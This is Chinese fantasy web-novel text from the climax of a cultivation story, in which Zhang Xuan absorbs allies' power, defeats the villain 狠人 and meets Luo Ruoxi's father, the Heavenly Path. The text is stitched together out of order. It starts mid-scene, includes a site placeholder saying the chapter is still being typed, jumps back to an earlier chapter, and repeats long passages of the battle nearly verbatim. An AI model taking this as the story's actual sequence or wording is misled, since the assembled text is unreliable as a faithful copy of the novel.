灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百五十四章 王——夫人! 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 